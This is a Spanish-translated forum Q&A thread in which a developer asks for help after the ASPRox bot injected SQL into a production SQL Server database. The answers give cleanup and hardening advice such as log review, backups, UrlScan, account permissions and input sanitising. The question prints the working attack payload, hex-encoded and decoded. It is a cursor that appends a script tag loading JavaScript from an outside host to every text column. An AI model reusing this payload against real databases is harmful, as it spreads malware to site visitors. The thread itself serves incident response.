¡AYUDA! ¡La base de datos de producción fue INYECTADA CON SQL!

¡AYUDA! ¡La base de datos de producción fue INYECTADA CON SQL!

Posible duplicado:
Mi servidor ha sido hackeado EMERGENCIA

¡Caray, estoy desesperada! Hace unas horas nuestra base de datos de producción fue inyectada con SQL.

Sé que tenemos grandes agujeros en el sistema... porque heredamos el sitio web de un tipo que lo hacía en ASP clásico, su programación era realmente horrible y no segura. Así que dedicamos algún tiempo a migrarlo a ASP.NET (primero 1.1, luego 2.0 y ahora 3.5). Pero es un proyecto grande y todavía hay código antiguo e inseguro. No voy a mentir, el proyecto es un desastre, lo odio, pero es nuestro cliente más importante (solo somos 2 jóvenes, no una gran empresa).

Entonces sé que han inyectado algunas referencias de script js a toda mi base de datos de alguna manera... Probablemente fue a través de una página antigua usando consultas SQL de cadenas concatenadas y arrojándolas directamente a la base de datos (porque el tipo que inicia el proyecto dijo "Los procedimientos almacenados no No funciona"..... así que hizo todo el sitio usando concatenación de cadenas y arrojándolas directamente al SQL sin hacer ninguna validación de seguridad ni nada por el estilo.

Cuando recibimos el proyecto, el cliente no quería perder tiempo rehaciendo la basura que hizo el viejo. Así que tuvimos que generar un código deficiente e inseguro y arreglarlo mientras desarrollamos nuevas funciones, porque eso era lo que el cliente quería... y ahora que nos inyectaron SQL, se vuelven locos, por supuesto.

ENTONCES....

** ¿Hay alguna forma de comprobar si las consultas SQL que se han ejecutado en las últimas X horas son antiguas? ¿Algo parecido a lo que hace SQL Profiler (pero, por supuesto, no teníamos el perfilador abierto cuando ocurrió el ataque)? ¿Hay alguna manera de saber qué página es la vulnerable? Por favor ayuda, hay muchas páginas. No puedo buscarlos manualmente sin saber con seguridad cuál era la página.

Además... ¿podría haber otra forma de inyectar la base de datos? ¿Te gusta usar una solicitud IIS o js o algo así?**

Tengo acceso completo al escritorio remoto de la máquina del servidor (no está en un entorno alojado), por lo que puedo acceder a todos los archivos, registros, lo que sea que esté en el servidor...

¡Por favor ayuda!

PD: Lo siento, mi inglés no es tan bueno y ¡es peor ahora que estoy nervioso!

EDITAR

  • Servidor Windows 2003
  • SERVIDOR SQL 2005
  • ASP.NET 3.5

El guión que están tirando es el siguiente

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

Lo que traducido a texto es:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Respuesta1

Lo primero que hay que hacer es no entrar en pánico. Pero veo que te has saltado eso y has decidido

Lo segundo es desactivar el sitio y asegurarse de que no sea accesible desde el exterior hasta que pueda descubrir qué está roto. Empiece a mirar los registros de acceso e intente descubrir cuál es el problema principal.

Lo tercero que debe hacer es ver si realiza una copia de seguridad de su base de datos con regularidad y simplemente retrocede. Es posible que pierdas algunos datos, pero estarás en un lugar mejor que ahora

La cuarta cosa que debe hacer es NO revelar la URL porque aparentemente no es segura.

Respuesta2

Definitivamente asegúrese de instalar la versión más reciente de UrlScan; fue diseñada prácticamente para resistir este tipo de ataques.

Si tiene registros de IIS, el punto de entrada debería ser bastante obvio: busque el que estaban martillando los piratas informáticos.

Otro buen respaldo, si es posible, es denegar los derechos de INSERTAR y ACTUALIZAR a la cuenta del usuario web y, en su lugar, realizar procedimientos almacenados. Ese tipo de respaldo nos salvó de tener un problema similar con una aplicación heredada similar cuando se trataba de un ataque de día cero.

Creo que también se puede eliminar el derecho del usuario PÚBLICO a escanear tablas, lo que debería evitar que realicen ataques de estilo "tabla foreach".

Respuesta3

Como punto de referencia, este es el trabajo del ataque de inyección SQL del bot ASPRox. Parece surgir de vez en cuando porque se vuelve bastante viral cuando se encuentran sistemas comprometidos. Puede buscar en Google "ASPRox bot" y obtener algunos métodos de limpieza adicionales y tratamientos de prevención adicionales. Acabo de encontrareste PDFarchivo que tiene una buena descripción general de sus tácticas y enlaces a algunas opciones de limpieza.

El problema es que el modelo de virus/inyección esencialmente tomó cada campo de texto en TODAS las tablas de su base de datos y colocó un pequeño fragmento que llama a la URL especificada para intentar infectar a otros clientes web e intentar convertirlos en zombis que visitan su sitio. .

Así que asegúrese de verificar todas las bases de datos en ese servidor en cuestión, no solo la que tiene la base de datos involucrada, para realizar una limpieza adecuada.

Parece que estás en el camino correcto con las sugerencias aquí, pero tener algunas referencias "formales" al nombre del virus podría ayudar con necesidades adicionales.

Respuesta4

Consulte sus registros de IIS para averiguar qué página utilizaron para realizar la inyección. No hace falta decir que debes arreglar o desactivar esa página rápidamente.

El mejor enfoque depende del tipo de sitio. Si es posible,eliminar el sitiohasta que haya restaurado una base de datos intacta o haya revertido los cambios (lo que requiere registros detallados). Luego puede volver a poner el sitio en modo de solo lectura hasta que tenga tiempo de solucionar los problemas. Simplemente restrinja la cuenta SQL solo a SELECCIONAR.

Incluso cuando concatena cadenas de consulta, puede estar bastante seguro con poco esfuerzo. La búsqueda de palabras clave como SELECCIONAR y ACTUALIZAR en todos los archivos ASP revelará todas las consultas. Rodee todos sus parámetros con controles básicos de cordura para comenzar.

Como probablemente tengas prisa, puedes echar un vistazo a algunosen realidadantiguo código ASP VBScript mío. Hay un montón de funciones SafeSqlWhatever que le ayudarán a crear sentencias SQL seguras. Sin garantías, nunca tuvo la intención de ser público. Sin embargo, reemplazar todas las entradas variables con laSqlVar (algún valor)La función debería ayudarle a comenzar. Debe eliminar las comillas simples del resto de la cadena de consulta, ya que SqlVar las agrega por usted. Alternativamente, use las funciones específicas para el tipo de valor que espera:

Antes:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

Después:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PD: no, así no es como debería ser, peroprobablementeel más rápido para que las cosas vuelvan a funcionar correctamente desde donde se encuentra ahora.

información relacionada